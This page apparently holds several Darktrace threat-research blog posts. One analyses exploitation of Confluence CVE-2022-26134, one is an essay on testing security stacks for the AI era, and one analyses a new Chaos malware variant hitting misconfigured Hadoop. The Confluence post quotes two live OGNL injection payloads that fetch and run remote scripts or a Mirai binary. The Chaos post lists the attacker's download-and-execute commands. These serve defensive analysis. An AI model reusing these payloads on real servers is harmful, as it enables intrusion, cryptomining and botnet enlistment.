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June 12, 2022

Confluence CVE-2022-26134 Zero-Day: Detection & Guidance

Stay informed with Darktrace's blog on detection and guidance for the Confluence CVE-2022-26134 zero-day vulnerability. Learn how to protect your systems.
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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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12
Jun 2022

Summary

  • CVE-2022-26134 is an unauthenticated OGNL injection vulnerability which allows threat actors to execute arbitrary code on Atlassian Confluence Server or Data Centre products (not Cloud).
  • Atlassian has released several patches and a temporary mitigation in their security advisory. This has been consistently updated since the emergence of the vulnerability.
  • Darktrace detected and responded to an instance of exploitation in the first weekend of widespread exploits of this CVE.

Introduction

Looking forwards to 2022, the security industry expressed widespread concerns around third-party exposure and integration vulnerabilities.[1] Having already seen a handful of in-the-wild exploits against Okta (CVE-2022-22965) and Microsoft (CVE-2022-30190), the start of June has now seen another critical remote code execution (RCE) vulnerability affecting Atlassian’s Confluence range. Confluence is a popular wiki management and knowledge-sharing platform used by enterprises worldwide. This latest vulnerability (CVE-2022-26134) affects all versions of Confluence Server and Data Centre.[2] This blog will explore the vulnerability itself, an instance which Darktrace detected and responded to, and additional guidance for both the public at large and existing Darktrace customers.

Exploitation of this CVE occurs through an injection vulnerability which enables threat actors to execute arbitrary code without authentication. Injection-type attacks work by sending data to web applications in order to cause unintended results. In this instance, this involves injecting OGNL (Object-Graph Navigation Language) expressions to Confluence server memory. This is done by placing the expression in the URI of a HTTP request to the server. Threat actors can then plant a webshell which they can interact with and deploy further malicious code, without having to re-exploit the server. It is worth noting that several proofs-of-concept of this exploit have also been seen online.[3] As a widely known and critical severity exploit, it is being indiscriminately used by a range of threat actors.[4]

Atlassian advises that sites hosted on Confluence Cloud (run via AWS) are not vulnerable to this exploit and it is restricted to organizations running their own Confluence servers.[2]

Case study: European media organization

The first detected in-the-wild exploit for this zero-day was reported to Atlassian as an out-of-hours attack over the US Memorial Day weekend.[5] Darktrace analysts identified a similar instance of this exploit only a couple of days later within the network of a European media provider. This was part of a wider series of compromises affecting the account, likely involving multiple threat actors. The timing was also in line with the start of more widespread public exploitation attempts against other organizations.[6]

On the evening of June 3, Darktrace’s Enterprise Immune System identified a new text/x-shellscript download for the curl/7.61.1 user agent on a company’s Confluence server. This originated from a rare external IP address, 194.38.20[.]166. It is possible that the initial compromise came moments earlier from 95.182.120[.]164 (a suspicious Russian IP) however this could not be verified as the connection was encrypted. The download was shortly followed by file execution and outbound HTTP involving the curl agent. A further download for an executable from 185.234.247[.]8 was attempted but this was blocked by Antigena Network’s Autonomous Response. Despite this, the Confluence server then began serving sessions using the Minergate protocol on a non-standard port. In addition to mining, this was accompanied by failed beaconing connections to another rare Russian IP, 45.156.23[.]210, which had not yet been flagged as malicious on VirusTotal OSINT (Figures 1 and 2).[7][8]

Figures 1 and 2: Unrated VirusTotal pages for Russian IPs connected to during minergate activity and failed beaconing — Darktrace identification of these IP’s involvement in the Confluence exploit occurred prior to any malicious ratings being added to the OSINT profiles

Minergate is an open crypto-mining pool allowing users to add computer hashing power to a larger network of mining devices in order to gain digital currencies. Interestingly, this is not the first time Confluence has had a critical vulnerability exploited for financial gain. September 2021 saw CVE-2021-26084, another RCE vulnerability which was also taken advantage of in order to install crypto-miners on unsuspecting devices.[9]

During attempted beaconing activity, Darktrace also highlighted the download of two cf.sh files using the initial curl agent. Further malicious files were then downloaded by the device. Enrichment from VirusTotal (Figure 3) alongside the URIs, identified these as Kinsing shell scripts.[10][11] Kinsing is a malware strain from 2020, which was predominantly used to install another crypto-miner named ‘kdevtmpfsi’. Antigena triggered a Suspicious File Block to mitigate the use of this miner. However, following these downloads, additional Minergate connection attempts continued to be observed. This may indicate the successful execution of one or more scripts.

Figure 3: VirusTotal confirming evidence of Kinsing shell download

More concrete evidence of CVE-2022-26134 exploitation was detected in the afternoon of June 4. The Confluence Server received a HTTP GET request with the following URI and redirect location:

/${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“new java.lang.ProcessBuilder().command(‘bash’,’-c’,’(curl -s 195.2.79.26/cf.sh||wget -q -O- 195.2.79.26/cf.sh)|bash’).start()”)}/

This is a likely demonstration of the OGNL injection attack (Figures 3 and 4). The ‘nashorn’ string refers to the Nashorn Engine which is used to interpret javascript code and has been identified within active payloads used during the exploit of this CVE. If successful, a threat actor could be provided with a reverse shell for ease of continued connections (usually) with fewer restrictions to port usage.[12] Following the injection, the server showed more signs of compromise such as continued crypto-mining and SSL beaconing attempts.

Figures 4 and 5: Darktrace Advanced Search features highlighting initial OGNL injection and exploit time

Following the injection, a separate exploitation was identified. A new user agent and URI indicative of the Mirai botnet attempted to utilise the same Confluence vulnerability to establish even more crypto-mining (Figure 6). Mirai itself may have also been deployed as a backdoor and a means to attain persistency.

Figure 6: Model breach snapshot highlighting new user agent and Mirai URI

/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(“wget 149.57.170.179/mirai.x86;chmod 777 mirai.x86;./mirai.x86 Confluence.x86”).getInputStream(),”utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}/

Throughout this incident, Darktrace’s Proactive Threat Notification service alerted the customer to both the Minergate and suspicious Kinsing downloads. This ensured dedicated SOC analysts were able to triage the events in real time and provide additional enrichment for the customer’s own internal investigations and eventual remediation. With zero-days often posing as a race between threat actors and defenders, this incident makes it clear that Darktrace detection can keep up with both known and novel compromises.

A full list of model detections and indicators of compromise uncovered during this incident can be found in the appendix.

Darktrace coverage and guidance

From the Kinsing shell scripts to the Nashorn exploitation, this incident showcased a range of malicious payloads and exploit methods. Although signature solutions may have picked up the older indicators, Darktrace model detections were able to provide visibility of the new. Models breached covering kill chain stages including exploit, execution, command and control and actions-on-objectives (Figure 7). With the Enterprise Immune System providing comprehensive visibility across the incident, the threat could be clearly investigated or recorded by the customer to warn against similar incidents in the future. Several behaviors, including the mass crypto-mining, were also grouped together and presented by AI Analyst to support the investigation process.

Figure 7: Device graph showing a cluster of model breaches on the Confluence Server around the exploit event

On top of detection, the customer also had Antigena in active mode, ensuring several malicious activities were actioned in real time. Examples of Autonomous Response included:

  • Antigena / Network / External Threat / Antigena Suspicious Activity Block
  • Block connections to 176.113.81[.]186 port 80, 45.156.23[.]210 port 80 and 91.241.19[.]134 port 80 for one hour
  • Antigena / Network / External Threat / Antigena Suspicious File Block
  • Block connections to 194.38.20[.]166 port 80 for two hours
  • Antigena / Network / External Threat / Antigena Crypto Currency Mining Block
  • Block connections to 176.113.81[.]186 port 80 for 24 hours

Darktrace customers can also maximise the value of this response by taking the following steps:

  • Ensure Antigena Network is deployed.
  • Regularly review Antigena breaches and set Antigena to ‘Active’ rather than ‘Human Confirmation’ mode (otherwise customers’ security teams will need to manually trigger responses).
  • Tag Confluence Servers with Antigena External Threat, Antigena Significant Anomaly or Antigena All tags.
  • Ensure Antigena has appropriate firewall integrations.

For each of these steps, more information can be found in the product guides on our Customer Portal

Wider recommendations for CVE-2022-26134

On top of Darktrace product guidance, there are several encouraged actions from the vendor:

  • Atlassian recommends updates to the following versions where this vulnerability has been fixed: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1.
  • For those unable to update, temporary mitigations can be found in the formal security advisory.
  • Ensure Internet-facing servers are up-to-date and have secure compliance practices.

Appendix

Darktrace model detections (for the discussed incident)

  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Script from Rare External
  • Anomalous Server Activity / Possible Denial of Service Activity
  • Anomalous Server Activity / Rare External from Server
  • Compromise / Crypto Currency Mining Activity
  • Compromise / High Volume of Connections with Beacon Score
  • Compromise / Large Number of Suspicious Failed Connections
  • Compromise / SSL Beaconing to Rare Destination
  • Device / New User Agent

IoCs

Thanks to Hyeongyung Yeom and the Threat Research Team for their contributions.

Footnotes

1. https://www.gartner.com/en/articles/7-top-trends-in-cybersecurity-for-2022

2. https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

3. https://twitter.com/phithon_xg/status/1532887542722269184?cxt=HHwWgMCoiafG9MUqAAAA

4. https://twitter.com/stevenadair/status/1532768372911398916

5. https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

6. https://www.cybersecuritydive.com/news/attackers-atlassian-confluence-zero-day-exploit/625032

7. https://www.virustotal.com/gui/ip-address/45.156.23.210

8. https://www.virustotal.com/gui/ip-address/176.113.81.186

9. https://securityboulevard.com/2021/09/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers

10. https://www.virustotal.com/gui/file/c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

11. https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

12. https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134

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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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April 8, 2026

How to Secure AI and Find the Gaps in Your Security Operations

secuing AI testing gaps security operationsDefault blog imageDefault blog image

What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

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About the author
Nabil Zoldjalali
VP, Field CISO

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April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer
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